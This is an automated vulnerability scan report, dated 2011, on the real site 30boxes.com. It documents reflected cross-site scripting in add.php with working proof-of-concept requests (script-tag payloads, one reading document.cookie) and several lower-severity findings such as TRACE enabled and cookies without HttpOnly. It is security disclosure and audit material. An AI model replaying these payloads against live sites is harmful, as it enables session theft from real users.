30boxes.com, XSS, CWE-79, CAPEC-86, Cross Site Scripting

XSS in 30boxes.com | Vulnerability Crawler Report

Report generated by XSS.CX at Sun Jan 02 06:57:23 CST 2011.


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://30boxes.com/add.php [e parameter]

1.2. http://30boxes.com/add.php [name of an arbitrarily supplied request parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

4. Cookie without HttpOnly flag set

5. TRACE method is enabled

6. Email addresses disclosed

7. Robots.txt file

8. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://30boxes.com/add.php [e parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://30boxes.com
Path:   /add.php

Issue detail

The value of the e request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5899e"><script>alert(1)</script>874b819bb12 was submitted in the e parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /add.php?e=5899e"><script>alert(1)</script>874b819bb12 HTTP/1.1
Host: 30boxes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:13:34 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
P3P: CP="NOI DSP COR NID DEVa TAIa OUR BUS UNI"
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding,User-Agent
Content-Length: 6949
Connection: close
Content-Type: text/html;charset=utf-8

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head pro
...[SNIP]...
<input type="hidden" id="doneUrl" name="doneUrl" value="http://30boxes.com/add.php?e=5899e"><script>alert(1)</script>874b819bb12" />
...[SNIP]...

1.2. http://30boxes.com/add.php [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://30boxes.com
Path:   /add.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5de16"><script>alert(1)</script>027346e4418 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /add.php?5de16"><script>alert(1)</script>027346e4418=1 HTTP/1.1
Host: 30boxes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:13:32 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
P3P: CP="NOI DSP COR NID DEVa TAIa OUR BUS UNI"
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding,User-Agent
Content-Length: 6949
Connection: close
Content-Type: text/html;charset=utf-8

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head pro
...[SNIP]...
<input type="hidden" id="doneUrl" name="doneUrl" value="http://30boxes.com/add.php?5de16"><script>alert(1)</script>027346e4418=1" />
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://30boxes.com
Path:   /login.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /login.php?doneUrl=http%3A%2F%2F30boxes.com%2Fadd.php%3Fe%3D5899e%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E874b819bb12 HTTP/1.1
Host: 30boxes.com
Proxy-Connection: keep-alive
Referer: http://burp/show/11
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:17:06 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
P3P: CP="NOI DSP COR NID DEVa TAIa OUR BUS UNI"
Set-Cookie: savedReferrer=http%3A%2F%2Fburp%2Fshow%2F11; path=/; domain=.30boxes.com
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding,User-Agent
Content-Type: text/html;charset=utf-8
Content-Length: 6963

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head pro
...[SNIP]...
</script>
<script src='http://83degrees.com/js/core.js' type='text/javascript'></script>
...[SNIP]...
<p class="footerDiv">30 Boxes&#0153; &copy; 2011 <a href="http://www.83degrees.com">83&deg;</a>
...[SNIP]...
<!-- Start Quantcast tag -->
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
<noscript>
<a href="http://www.quantcast.com/p-33llylttf-i36" target="_blank"><img src="http://pixel.quantserve.com/pixel/p-33llylttf-i36.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/></a>
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://30boxes.com
Path:   /login.php

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /login.php?doneUrl=http%3A%2F%2F30boxes.com%2Fadd.php%3Fe%3D5899e%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E874b819bb12 HTTP/1.1
Host: 30boxes.com
Proxy-Connection: keep-alive
Referer: http://burp/show/11
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:17:06 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
P3P: CP="NOI DSP COR NID DEVa TAIa OUR BUS UNI"
Set-Cookie: savedReferrer=http%3A%2F%2Fburp%2Fshow%2F11; path=/; domain=.30boxes.com
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding,User-Agent
Content-Type: text/html;charset=utf-8
Content-Length: 6963

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head pro
...[SNIP]...
</script>
<script src='http://83degrees.com/js/core.js' type='text/javascript'></script>
...[SNIP]...
<!-- Start Quantcast tag -->
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://30boxes.com
Path:   /login.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /login.php?doneUrl=http%3A%2F%2F30boxes.com%2Fadd.php%3Fe%3D5899e%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E874b819bb12 HTTP/1.1
Host: 30boxes.com
Proxy-Connection: keep-alive
Referer: http://burp/show/11
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:17:06 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
P3P: CP="NOI DSP COR NID DEVa TAIa OUR BUS UNI"
Set-Cookie: savedReferrer=http%3A%2F%2Fburp%2Fshow%2F11; path=/; domain=.30boxes.com
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
Set-Cookie: initRefer=http%3A%2F%2Fburp%2Fshow%2F11; expires=Mon, 02-Jan-2012 04:17:06 GMT; path=/; domain=.30boxes.com
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding,User-Agent
Content-Type: text/html;charset=utf-8
Content-Length: 6963

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head pro
...[SNIP]...

5. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://30boxes.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: 30boxes.com
Cookie: 6eb35b1a77b32f1e

Response

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:13:27 GMT
Server: Apache/2.2.9 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: 30boxes.com
Cookie: 6eb35b1a77b32f1e


6. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://30boxes.com
Path:   /js/dmenu.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /js/dmenu.js HTTP/1.1
Host: 30boxes.com
Proxy-Connection: keep-alive
Referer: http://30boxes.com/login.php?doneUrl=http%3A%2F%2F30boxes.com%2Fadd.php%3Fe%3D5899e%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E874b819bb12
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: savedReferrer=http%3A%2F%2Fburp%2Fshow%2F11; initRefer=http%3A%2F%2Fburp%2Fshow%2F11

Response

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:17:07 GMT
Server: Apache/2.2.9 (Fedora)
Last-Modified: Mon, 01 Nov 2010 01:02:26 GMT
ETag: "324e5c-8d8c-493f35c8e2c80"-gzip
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Type: application/x-javascript
Content-Length: 36236

//***********************************************
// Javascript Menu (c) 2006, by Deluxe-Menu.com
// version 2.0
// E-mail: cs@deluxe-menu.com
//***********************************************

var dmWorkPath = "/js/";
/*
Array.prototype.ln=function()
{
   return this.length
};
*/
with(String)
{
   prototype.sb=function(s,e)
   {
       r
...[SNIP]...
.dpr?1:0));uv.dpr=iv.dpr;ce=dm.m[uv.ci];}
   ;};    };

// dmenu_dyn

//***********************************************
// Javascript Menu (c) 2006, by Deluxe-Menu.com
// version 2.0
// E-mail: cs@deluxe-menu.com
//***********************************************


function dm_ext_hideAllSubmenus(mi)
{
   _dmsm(mi);
}
;
function dm_ext_changeItem(mi,ci,iy,dps)
{
   var dm=_dm[mi],ce=dm.m[ci],iv=ce.i[iy],
...[SNIP]...
s(mi)
{
   with(_dm[mi])var mp=[m.length,dcs,dcp];return mp;
};


//***********************************************
// Javascript Menu (c) 2006, by Deluxe-Menu.com
// version 2.0
// E-mail: cs@deluxe-menu.com
//***********************************************


function _dmie(event)
{
   var x=0,y=0;
   if(_e||_o)
   {
       x=event.clientX+(_ec?dde.scrollLeft:0);
       y=event.clientY+(_ec?dde.scrollTop:0);
   
...[SNIP]...

7. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://30boxes.com
Path:   /add.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: 30boxes.com

Response

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:13:27 GMT
Server: Apache/2.2.9 (Fedora)
Last-Modified: Sat, 27 Feb 2010 00:52:54 GMT
ETag: "324e4b-80-4808a6fa88580"
Accept-Ranges: bytes
Content-Length: 128
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/plain

User-agent:*
Crawl-delay: 1
Disallow:/forum/
Disallow:/theme/
Disallow:/r

User-agent: msnbot
Disallow:/forum/
Disallow:/theme/

8. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://30boxes.com
Path:   /chartbeat.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /chartbeat.html HTTP/1.1
Host: 30boxes.com
Proxy-Connection: keep-alive
Referer: http://30boxes.com/login.php?doneUrl=http%3A%2F%2F30boxes.com%2Fadd.php%3Fe%3D5899e%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E874b819bb12
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: savedReferrer=http%3A%2F%2Fburp%2Fshow%2F11; initRefer=http%3A%2F%2Fburp%2Fshow%2F11; __utmz=107913344.1293941787.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=107913344.484342301.1293941787.1293941787.1293941787.1; __utmc=107913344; __utmb=107913344.1.10.1293941787; __qca=P0-1964011485-1293941787411

Response

HTTP/1.1 200 OK
Date: Sun, 02 Jan 2011 04:17:40 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 821

<script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script>

<!-- nothing to see... -->

<script type="text/javascript">
var _sf_async_config={uid:6784,domain:"30boxes.com"};

...[SNIP]...

Report generated by XSS.CX at Sun Jan 02 06:57:23 CST 2011.